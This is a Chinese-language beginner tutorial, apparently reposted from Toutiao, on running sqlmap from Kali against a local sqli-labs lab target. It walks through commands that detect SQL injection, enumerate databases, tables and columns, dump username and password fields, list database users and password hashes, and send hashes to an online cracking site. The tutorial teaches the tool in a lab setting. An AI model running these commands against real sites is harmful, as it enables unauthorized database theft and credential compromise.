| 关键词: 数据库 Sqlmap 用户 字段 命令 当前 查询 192.168 security SQL |
本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途! Sqlmap介绍sqlmap是一个自动化的SQL注入工具,其主要功能就是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、POStgreSQL、Microsoft SQL Server、Access、IBM DB2、SQLLite、FireBird等。 注入方式介绍
SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据窃取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的结果! SQLMap入门kali安装sqlmap: apt-get install sqlmap ![]() 输入sqlmap验证: 注意:进行测试之前,将win7靶机开启,而且要开启WAMP web的所有服务! 判断是否存在注入假设目标注入点是192.168.31.16/sql/Less-1/?id=1 这个URL就是win7靶机中的这个页面对应处,因为之前搭建过sql注入环境,下图所示。 ![]() kali终端下输入: sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 ![]() 如下图所示,id存在注入,而且判断对方的数据库可能是MySQL,另外提醒我们要不要进行其他扫描,一般默认回车! 参数ID存在漏洞 ![]() 最后的系统信息以及将扫描结果保存在kali本地路径下 .sqlmap是隐藏文件夹,kali搜索栏可直接输入.sqlmap搜索到 从文本请求是否存在注入从文件中加载HTTP请求,SQLMap可以从文本中获取HTTP请求,这样就不用设置其他参数(cookie、POST数据),txt文件的内容是web数据包。 首先在kali中使用文本编辑器输入下面请求头信息:
保存在kali主文件夹(就是root文件及)中 接下来使用sqlmap判断是否存在注入: sqlmap -r /root/1.txt 就能看到扫描出来了id参数存在注入,另外后台数据库显示为mysql。 ![]() 查询当前数据库下的所有数据库下面的命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。 sqlmap -u id=1 --dbs 如果当前用户有权限读取包含所有数据库列表信息的表,使用上面命令就可以列出所有数据库。下面的数据库显然是我们之前在win7创建的数据库名! ![]() 获取某个数据库中的表名该命令的作用是查询完数据库后,查询指定的数据库中所有的表名 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security --tables -D表示继续查询某一个指定的数据库,比如security数据库。--tables,就是指出要列出这个当前security数据库的所有表名。 已经成功查询到数据库security中有4个tables(方框中)。 获取表中的字段名该命令的作用就是查询完表名后,继续查询这个表中的所有字段 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security -T users --columns 显示数据库security中的表users中的字段有三个,方框中! 获取字段内容既然已经看到字段,那么添加参数--dump即可。 下面的命令在查询字段名后,就会获取该字段中具体的数据信息。 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security -T users -C username,password --dump 发现使用了-C指定字段名,再使用--dump就能获取这些字段中的值(内容)。 ![]() 获取数据库的所有用户该命令的作用是列出数据库的所有用户 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --users 只要当前用户有权限读取包含所有用户的表的权限时,这个命令就能列出所有的管理员用户。 获取数据库用户的密码数据库登录使用用户的密码可以使用下面的命令查询 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --passwords 由于这个数据库中并没有设置用户密码,所以读取是NULL,空密码! 如果存在密码,首先会打印出所有用户和密码Hash(MySQL5加密的密码),只需前往www.cmd5.com中自行解密即可(复制加密的长串字符即可)。 获取当前数据库的名称下面命令可以列出当前网站使用的数据库 sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --current-db 这里当前win7web使用的数据库名是security。 获取当前网站数据库的用户名称下面命令即可获取当前网站使用的数据库用户 sqlmap -u --current-user 如图所示,显示当前用户是最高root用户。 到此,我们已经初步学习了SqlMap的基本操作。这些都是入门级别的,大家肯定也许会问,今天的这个没有具体实战,是的,目前就是要熟悉这个SQL注入工具的参数使用,其实它也是针对一个注入URL进行测试的。后面还会介绍SqlMap的进阶讲解。 web安全我想说更多kali渗透、Web渗透、安卓渗透等嘿客技术。请关注小白嘿客,私信"想学"。欢迎在下方评论区留言讨论! |
| 本文出处: https://www.toutiao.com/a6794660774921896460/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|